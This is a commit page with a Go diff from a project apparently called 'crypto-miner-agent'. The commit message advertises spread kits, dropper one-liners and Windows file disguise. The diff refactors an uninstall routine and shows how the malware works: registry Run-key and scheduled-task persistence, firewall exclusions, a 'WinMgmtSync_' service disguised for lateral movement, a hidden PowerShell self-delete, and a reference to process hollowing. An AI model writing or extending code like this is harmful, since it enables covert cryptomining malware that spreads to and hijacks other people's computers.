Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -3,61 +3,46 @@ package deploy
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// Uninstall removes persistence, stops the process, and deletes the install directory.
|
||||
func Uninstall(cfg config.RuntimeConfig) error {
|
||||
processName := cfg.EffectiveProcessName()
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, processName+".exe")
|
||||
|
||||
_ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run()
|
||||
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
installedBin, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
|
||||
killWorkerProcess(cfg)
|
||||
removePersistence(cfg)
|
||||
RemoveFirewallExclusion(cfg)
|
||||
|
||||
// Clean up potential lateral movement services
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
|
||||
// Self-uninstall: spawn cleanup then exit.
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) {
|
||||
selfUninstallSpawn(installDir)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if err := os.RemoveAll(installDir); err != nil {
|
||||
return fmt.Errorf("remove install dir: %w", err)
|
||||
}
|
||||
|
||||
// If the agent is running in memory (Process Hollowing), it won't be killed
|
||||
// by the taskkill command above. We must explicitly terminate the thread.
|
||||
os.Exit(0)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// EnsureFirewallExclusion is implemented per platform.
|
||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) {
|
||||
if !cfg.FirewallExclusion {
|
||||
return
|
||||
}
|
||||
platformEnsureFirewall(cfg, binPath)
|
||||
}
|
||||
|
||||
// RemoveFirewallExclusion is implemented per platform.
|
||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||
platformRemoveFirewall(cfg)
|
||||
}
|
||||
Reference in New Issue
Block a user